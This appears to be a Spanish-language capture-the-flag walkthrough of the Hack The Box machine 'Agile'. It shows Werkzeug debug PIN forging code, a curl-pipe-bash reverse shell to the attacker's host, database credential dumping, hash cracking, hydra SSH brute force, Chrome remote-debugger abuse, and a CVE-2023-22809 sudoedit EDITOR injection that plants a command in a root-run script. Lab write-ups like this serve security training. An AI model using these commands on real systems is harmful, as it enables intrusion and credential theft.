19
20
21
22
23
24
25
26
27
28
29
30
# /app/app/superpass/data/db_session.py
import sqlalchemy as sa
import sqlalchemy.orm as orm
from superpass.data.modelbase import SqlAlchemyBase

__factory = None


def global_init(db_uri: str):
    global __factory

    if __factory:
        return

    if not db_uri or not db_uri.strip():
        raise Exception("You must specify a db string")

    engine = sa.create_engine(db_uri, echo=False)

    __factory = orm.sessionmaker(bind=engine)

    import superpass.data.__all_models
    SqlAlchemyBase.metadata.create_all(engine)


def create_session() -> orm.Session:
    global __factory
    session = __factory()
    session.expire_on_commit = False
    return session

Flask Debug - www-data

Como sabemos la aplicacion esta ejecutandose en modo debug, por lo que intentamos crear el PIN para poder acceder a la consola.

image

Nos referimos a Werkzeug - HackTricks y OpenSource - 0xdf para obtener la informacion necesaria para generar nuestro PIN. Para el valor de la MAC es necesario tomar en cuenta la version de python, en este caso 3.10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

[ ... ]
    probably_public_bits = [
        'www-data',  # username --> /etc/systemd/system/superpass.service
        'flask.app', # modname --> Flask
        'wsgi_app',  # getattr(app, '__name__', getattr(app.__class__, '__name__')) --> By running locally
        '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None), --> found at /app/venv/lib/python3.10/site-packages/flask/app.py
    ]   

    private_bits = [
        # str(uuid.getnode()) --> /proc/net/arp -->  /sys/class/net/eth0/address  00:50:56:b9:d8:fd --> pipenv run python -c 'print(0x005056b9d8fd)'
        str(int("0x" + read_file("/sys/class/net/eth0/address", True).replace(":",""), base=16)),
        get_machine_id()
    ]


    # source ---> /app/venv/lib/python3.10/site-packages/werkzeug/debug/__init__.py
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    # print(rv)

    return rv

[ ... ]

def get_machine_id() -> str:

    linux = ""

    # machine-id
    files = ["/etc/machine-id", "/proc/sys/kernel/random/boot_id"]
    for i in files:
        value = read_file(i, True).strip()
        if value:
            linux += value
            break

    # cgroup information
    file = "/proc/self/cgroup"
    linux += read_file(file, True).strip().rpartition("/")[2]

    return linux

[ ... ]

Console

Generamos nuestro PIN utilizando la informacion anterior.

1
2
3
 π ~/htb/agile ❯ pipenv run python agile.py --pin
[+] PIN :  578-033-587
 π ~/htb/agile ❯

Ingresamos el PIN y logramos acceder a la consola de Python. Observamos que es posible ejecutar comandos, en este caso como www-data.

1
import os; os.popen('id').read();

image

Shell

Ejecutamos shells y, ejecutamos una shell inversa.

1
import os; os.system('curl 10.10.14.130/10.10.14.130:1335|bash');

Tras ello logramos obtener una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/agile ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.130] from superpass.htb [10.10.11.203] 34000
/bin/sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
(venv) www-data@agile:/app/app$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/app/app
(venv) www-data@agile:/app/app$

User - Corum

Enumeramos la base de datos superpass, observamos la tabla users y passwords.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
(venv) www-data@agile:/app$ mysql -u superpassuser -p # dSA6l7q*yIVs$39Ml6ywvgK
<mysql -u superpassuser -p # dSA6l7q*yIVs$39Ml6ywvgK
Enter password: dSA6l7q*yIVs$39Ml6ywvgK

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 537
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| superpass          |
+--------------------+
3 rows in set (0.00 sec)

mysql> use superpass;
use superpass;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
2 rows in set (0.00 sec)

mysql> describe passwords;
describe passwords;
+-------------------+--------------+------+-----+---------+----------------+
| Field             | Type         | Null | Key | Default | Extra          |
+-------------------+--------------+------+-----+---------+----------------+
| id                | int          | NO   | PRI | NULL    | auto_increment |
| created_date      | datetime     | YES  |     | NULL    |                |
| last_updated_data | datetime     | YES  |     | NULL    |                |
| url               | varchar(256) | YES  |     | NULL    |                |
| username          | varchar(256) | YES  |     | NULL    |                |
| password          | varchar(256) | YES  |     | NULL    |                |
| user_id           | int          | YES  | MUL | NULL    |                |
+-------------------+--------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)

mysql> describe users;
describe users;
+-----------------+--------------+------+-----+---------+----------------+
| Field           | Type         | Null | Key | Default | Extra          |
+-----------------+--------------+------+-----+---------+----------------+
| id              | int          | NO   | PRI | NULL    | auto_increment |
| username        | varchar(256) | NO   |     | NULL    |                |
| hashed_password | varchar(256) | NO   |     | NULL    |                |
+-----------------+--------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

mysql>

Dentro de estas encontramos diferentes contrasenas y usuarios, asi mismo contrasenas guardadas en el manejador. En users se almacena la informacion de autenticacion del manejador de contrasenas, en passwords las contrasenas de cada usuario del manejador.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mysql> select * from passwords;
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
| .. snip.. |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
7 rows in set (0.00 sec)

mysql> select * from users;
select * from users;
+----+-------------+--------------------------------------------------------------------------------------------------------------------------+
| id | username    | hashed_password                                                                                                          |
+----+-------------+--------------------------------------------------------------------------------------------------------------------------+
|  1 | 0xdf        | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
|  2 | corum       | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
|  9 | toto        | $6$rounds=200000$MF99Y4Iy1RoMZbMZ$IX7FXADwUsqeEGuggPBmyxT79tsOfEoRngAUvciGAufXASq6H0OCgP7faY57ONAWsdX95tdNZGiUZ55eb6f1Y/ |
| .. snip.. |
| 11 | sckull      | $6$rounds=200000$NadEaPAJY3NJPd1D$Mp7YHbnfyZnUK5cOvAIzPgS.sPfyspQHTu4jkQN/EtLrx38xjAicmu8pYhO.6zJ8wgoDW7wthHXPlpuq80e0j1 |
+----+-------------+--------------------------------------------------------------------------------------------------------------------------+
5 rows in set (0.00 sec)

mysql>

Creamos una wordlist de usuarios y contrasenas. Asi mismo uno para los hashes.

1
2
3
4
5
6
7
762b430d32eea2f12970
5b133f7a6a1c180646cb
47ed1e73c955de230a1d
9799588839ed0f98c211
5db7caa1d13cc37c9fc2
0xdf
corum

John - Crack the hash

Tras ejecutar john sobre los hashes logramos crackear uno solamente.

1
2
3
4
5
6
7
8
9
 π ~/htb/agile ❯ cat hashes
$6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF.
$6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1
$6$rounds=200000$MF99Y4Iy1RoMZbMZ$IX7FXADwUsqeEGuggPBmyxT79tsOfEoRngAUvciGAufXASq6H0OCgP7faY57ONAWsdX95tdNZGiUZ55eb6f1Y/
 π ~/htb/agile ❯ john hashes --show
?:password

1 password hash cracked, 2 left
 π ~/htb/agile ❯

Hydra - SSH

Utilizando las contrasenas y usuarios realizamos una taque de fuerza bruta al servicio SSH, vemos que encontro un par valido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/agile ❯ hydra -L users.txt -P users.txt ssh://superpass.htb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-24 13:59:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 529 login tries (l:23/p:23), ~34 tries per task
[DATA] attacking ssh://superpass.htb:22/
[22][ssh] host: superpass.htb   login: corum   password: 5db7caa1d13cc37c9fc2
[STATUS] 252.00 tries/min, 252 tries in 00:01h, 279 to do in 00:02h, 14 active
[STATUS] 238.00 tries/min, 476 tries in 00:02h, 55 to do in 00:01h, 14 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-24 14:01:22
 π ~/htb/agile ❯

Shell

Accedimos por ssh con las credenciales, logrando asi obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 π ~/htb/agile ❯ ssh corum@superpass.htb # 5db7caa1d13cc37c9fc2
corum@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Mar  8 15:25:35 2023 from 10.10.14.47
corum@agile:~$ ls -lah
total 48K
drwxr-x--- 8 corum corum 4.0K Feb  8 16:29 .
drwxr-xr-x 5 root  root  4.0K Feb  8 16:29 ..
lrwxrwxrwx 1 root  root     9 Feb  6 16:56 .bash_history -> /dev/null
-rw-r--r-- 1 corum corum  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 corum corum 3.7K Jan  6  2022 .bashrc
drwx------ 4 corum corum 4.0K Feb  8 16:29 .cache
drwxr-xr-x 4 corum corum 4.0K Feb  8 16:29 .config
drwx------ 3 corum corum 4.0K Feb  8 16:29 .local
drwx------ 3 corum corum 4.0K Feb  8 16:29 .pki
-rw-r--r-- 1 corum corum  807 Jan  6  2022 .profile
drwxrwxr-x 3 corum corum 4.0K Feb  8 16:29 .pytest_cache
drwx------ 2 corum corum 4.0K Feb  8 16:29 .ssh
-rw-r----- 1 root  corum   33 Mar 24 17:42 user.txt
corum@agile:~$ cat user.txt
2496dc12e24bd652afbea0e175d3eaf4
corum@agile:~$

User - Edwards

Tras ejecutar pspy en la maquina observamos que existe un cronjob que ejecuta test_and_update.sh como runner, aunque existe cierta confusion ya que tambien se muestra que lo ejecuta root.

1
2
3
4
5
6
7
2023/03/24 20:08:01 CMD: UID=0     PID=76507  | /usr/sbin/CRON -f -P
2023/03/24 20:08:01 CMD: UID=0     PID=76508  | /bin/bash /app/test_and_update.sh
2023/03/24 20:08:01 CMD: UID=1001  PID=76509  | /bin/bash /app/test_and_update.sh
2023/03/24 20:08:01 CMD: UID=1001  PID=76512  | grep -q pytest
2023/03/24 20:08:01 CMD: UID=1001  PID=76511  | grep -v grep
2023/03/24 20:08:01 CMD: UID=1001  PID=76510  | /bin/bash /app/test_and_update.sh
2023/03/24 20:08:26 CMD: UID=0     PID=76513  |

Unicamente tienen acceso de escritura a este archivo root y runner.

1
2
3
-bash-5.1$ ls -lah /app/test_and_update.sh
-rwxr-xr-x 1 root runner 557 May  2 19:51 /app/test_and_update.sh
-bash-5.1$

Si observamos el archivo pareciera ejecutar algun tipo de test con python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

# update prod with latest from testing constantly assuming tests are passing

echo "Starting test_and_update"
date

# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit

echo "Not already running. Starting..."

# start in dev folder
cd /app/app-testing

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit

# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"

En la carpeta tests se muestra un archivo para tests y el archivo creds.txt al cual no podemos acceder.

1
2
3
4
5
6
7
-bash-5.1$ ls -lah tests/functional/
total 20K
drwxr-xr-x 3 runner    runner 4.0K Feb  7 13:12 .
drwxr-xr-x 3 runner    runner 4.0K Feb  6 18:10 ..
drwxrwxr-x 2 runner    runner 4.0K May  2 19:06 __pycache__
-rw-r----- 1 dev_admin runner   34 May  2 19:09 creds.txt
-rw-r--r-- 1 runner    runner 2.7K May  2 19:09 test_site_interactively.py

test_site_interactively.py parece ejecutar selenium, en este caso para realizar tests a la pagina del subdominio test.superpass.htb, asi mismo se observa que esta en modo debugging en el puerto 41829.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait


with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')


@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()


def test_login(driver):
    print("starting test_login")
    driver.get('http://test.superpass.htb/account/login')
    time.sleep(1)
    username_input = driver.find_element(By.NAME, "username")
    username_input.send_keys(username)
    password_input = driver.find_element(By.NAME, "password")
    password_input.send_keys(password)
    driver.find_element(By.NAME, "submit").click()
    time.sleep(3)
    title = driver.find_element(By.TAG_NAME, "h1")
    assert title.text == "Welcome to your vault"


def test_add_password(driver):
    print("starting test_add_password")
    driver.find_element(By.NAME, "add_password").click()
    time.sleep(3)
    site = driver.find_element(By.NAME, "url")
    site.send_keys("test_site")
    username = driver.find_element(By.NAME, "username")
    username.send_keys("test_user")
    driver.find_element(By.CLASS_NAME, "fa-save").click()
    time.sleep(3)

    assert 'test_site' in driver.page_source
    assert 'test_user' in driver.page_source


def test_del_password(driver):
    print("starting test_del_password")
    password_rows = driver.find_elements(By.CLASS_NAME, "password-row")

    for row in password_rows:
        if "test_site" == row.find_elements(By.TAG_NAME, "td")[1].text and \
            "test_user" == row.find_elements(By.TAG_NAME, "td")[2].text:
            row.find_element(By.CLASS_NAME, "fa-trash").click()

    time.sleep(3)
    assert 'test_site' not in driver.page_source
    assert 'test_user' not in driver.page_source


def test_title(driver):
    print("starting test_title")
    driver.get('http://test.superpass.htb')
    time.sleep(3)
    assert "SuperPassword 🦸" == driver.title


def test_long_running(driver):
    print("starting test_long_running")
    driver.get('http://test.superpass.htb')
    time.sleep(550)
    #time.sleep(5)
    assert "SuperPasword 🦸" == driver.title

Observamos el proceso y el puerto en uso. En el caso del proceso es ejecutado por runner, se observa de igual forma en pspy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
-bash-5.1$ ps -ef| grep 41829
runner     74397   74391  0 19:07 ?        00:00:00 /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.FPIip0 --window-size=1420,1080 data:,
runner     74459   74412  0 19:07 ?        00:00:01 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=74404 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1683041237961941 --launch-time-ticks=13184153926 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,7074353734487798089,1791246573532195758,131072 --disable-features=PaintHolding
corum      74623   74549  0 19:13 pts/2    00:00:00 grep 41829
-bash-5.1$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:39095         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 ::1:39095               :::*                    LISTEN      -
-bash-5.1$

Tambien, vemos la configuracion de nginx para el subdominio. Se muestra en local y en el puerto 5555:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# /etc/nginx/sites-enabled/superpass-test.nginx
server {
    listen 127.0.0.1:80;
    server_name test.superpass.htb;
    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    }
    location / {
        include uwsgi_params;
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}

Chrome - Inspect

Despues de investigar sobre el debugger encontramos que es posible conectarse al puerto 41829 siguiendo el post de Remote Debugger, en este caso obtuvimos localmente el puerto, utilizando SSH.

1
2
# SSH port
ssh corum@superpass.htb -L 41829:127.0.0.1:41829 # d07867c6267dcb5df0af

Tras obtener el puerto, agregamos el host y puerto en chrome://inspect.

image
image

Observamos nuestro target en la lista.
image

Tras dar a inspect se abre una pestana con la cual podemos interactuar.
image

Si nos dirigimos a Vault observamos la lista de contrasenas del usuario.
image

Dos contrasenas, para el usuario edwards y dedwards__.

1
2
3
4
5
6
7
8
9
# 1
site: agile
username: edwards
password: d07867c6267dcb5df0af

# 2
site: twitter
username: dedwards__
password: 7dbfe676b6b564ce5718

Hydra (again) - SSH

Utilizamos hydra con las nuevas credenciales, observamos un par valido para edwards.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/agile ❯ hydra -L users.txt -P users.txt ssh://superpass.htb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-24 16:40:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 729 login tries (l:27/p:27), ~46 tries per task
[DATA] attacking ssh://superpass.htb:22/
[22][ssh] host: superpass.htb   login: corum   password: 5db7caa1d13cc37c9fc2
[22][ssh] host: superpass.htb   login: edwards   password: d07867c6267dcb5df0af
[STATUS] 208.00 tries/min, 208 tries in 00:01h, 524 to do in 00:03h, 13 active
[STATUS] 233.67 tries/min, 701 tries in 00:03h, 31 to do in 00:01h, 13 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-24 16:43:56
 π ~/htb/agile ❯

Shell

Ingresamos por SSH logrando el acceso como edwards.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/agile ❯ ssh edwards@superpass.htb # d07867c6267dcb5df0af
edwards@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Fri Mar 24 19:06:50 2023 from 10.10.16.59
edwards@agile:~$ whoami;id;pwd
edwards
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
/home/edwards
edwards@agile:~$

Privesc

Tras ejeutar sudo observamos que edwards puede ejecutar sudoedit sobre el archivo creds.txt y config_test.json, los cuales unicamente tiene acceso el usuario dev_admin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
edwards@agile:~$ sudo -l -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:

Sudoers entry:
    RunAsUsers: dev_admin
    RunAsGroups: dev_admin
    Commands:
    sudoedit /app/config_test.json

Sudoers entry:
    RunAsUsers: dev_admin
    RunAsGroups: dev_admin
    Commands:
    sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$

CVE-2023-22809

Con una pequena busqueda encontramos Sudo Arbitrary File Write: CVE-2023-22809, en el cual explica la vulnerabilidad CVE-2023-22809 y como explotarla.

Se muestra que al editar la variable EDITOR con un editor y un archivo, este nos permitira modificar cualquier archivo. En este caso intentamos con el archivo /app/app-testing/tests/functional/creds.txt el cual contiene las credenciales de edward para el subdominio test.superpass.htb sin embargo no son suficientes para escalar privilegios.

1
2
3
4
5
6
7
8
9
edwards@agile:~$ sudoedit --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
edwards@agile:~$

EDITOR='vim -- /app/app-testing/tests/functional/creds.txt' sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
1
2
# /app/app-testing/tests/functional/creds.txt
edwards:1d7ffjwrx#$d6qn!9nndqgde4

Como sabemos existe un cronjob que ejecuta test_and_update.sh que a su vez ejecuta source /app/venv/bin/activate como runner y posiblemente root, posiblemente podriamos escalar privilegios si editamos /app/venv/bin/activate.

Nota : pspy muestra root y runner como usuarios que ejecutan test_and_update.sh por eso se menciona “una posibilidad de escalar privilegios”, ver update.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
edwards@agile:/app/venv/bin$ ls -lah
total 1.4M
drwxrwxr-x 2 root dev_admin 4.0K Mar 24 21:24 .
drwxrwxr-x 5 root dev_admin 4.0K Feb  8 16:29 ..
-rw-r--r-- 1 root dev_admin 8.9K Mar 24 21:24 Activate.ps1
-rw-rw-r-- 1 root dev_admin 2.0K Mar 24 21:24 activate
-rw-r--r-- 1 root dev_admin  902 Mar 24 21:24 activate.csh
-rw-r--r-- 1 root dev_admin 2.0K Mar 24 21:24 activate.fish
-rwxrwxr-x 1 root root       213 Mar 24 21:24 flask
-rwxr-xr-x 1 root root       222 Jan 24 18:06 gunicorn
-rwxrwxr-x 1 root root       226 Mar 24 21:24 pip
-rwxrwxr-x 1 root root       226 Mar 24 21:24 pip3
-rwxrwxr-x 1 root root       226 Mar 24 21:24 pip3.10
-rwxrwxr-x 1 root root       226 Mar 24 21:24 py.test
-rwxrwxr-x 1 root root       226 Mar 24 21:24 pytest
lrwxrwxrwx 1 root root         7 Mar 24 21:24 python -> python3
lrwxrwxrwx 1 root root        16 Mar 24 21:24 python3 -> /usr/bin/python3
lrwxrwxrwx 1 root root         7 Mar 24 21:24 python3.10 -> python3
-rwxrwxr-x 1 root root      1.3M Jan 23 21:45 uwsgi
edwards@agile:/app/venv/bin$

Editamos el archivo, agregando una consulta con wget a nuestro servidor http.

1
2
# EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/app-testing/tests/functional/creds.txt
wget 10.10.14.130

verificamos que nuestro comando haya sido agregado al inicio del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
edwards@agile:/app/venv/bin$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

wget 10.10.14.130

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
edwards@agile:/app/venv/bin$

Observamos una consulta en nuestro servidor.

1
2
10.10.11.203 - - [24/Mar/2023 17:37:03] "GET / HTTP/1.1" 200 -
10.10.11.203 - - [24/Mar/2023 17:38:02] "GET / HTTP/1.1" 200 -

Vemos que el comando source /app/venv/bin/activate se ejecuto como root dos veces, por lo que puede existir algun otro cronjob que ejecute este archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
2023/03/24 21:37:01 CMD: UID=1001  PID=26182  | /bin/sh -c /app/test_and_update.sh
2023/03/24 21:37:01 CMD: UID=0     PID=26181  | wget 10.10.14.130
2023/03/24 21:37:01 CMD: UID=1001  PID=26180  | /bin/sh -c /app/test_and_update.sh
2023/03/24 21:37:01 CMD: UID=0     PID=26179  | /bin/bash -c source /app/venv/bin/activate
2023/03/24 21:37:01 CMD: UID=1001  PID=26183  |
2023/03/24 21:37:01 CMD: UID=1001  PID=26184  | /bin/bash /app/test_and_update.sh
2023/03/24 21:37:01 CMD: UID=1001  PID=26186  | /bin/bash /app/test_and_update.sh
2023/03/24 21:37:01 CMD: UID=1001  PID=26185  | /bin/bash /app/test_and_update.sh
2023/03/24 21:38:01 CMD: UID=0     PID=26190  | /usr/sbin/CRON -f -P
2023/03/24 21:38:01 CMD: UID=0     PID=26189  | /usr/sbin/CRON -f -P
2023/03/24 21:38:01 CMD: UID=0     PID=26188  | /usr/sbin/cron -f -P
2023/03/24 21:38:01 CMD: UID=0     PID=26187  | /usr/sbin/CRON -f -P
2023/03/24 21:38:01 CMD: UID=0     PID=26191  | /usr/sbin/CRON -f -P
2023/03/24 21:38:01 CMD: UID=0     PID=26192  |
2023/03/24 21:38:01 CMD: UID=0     PID=26193  | /usr/sbin/CRON -f -P
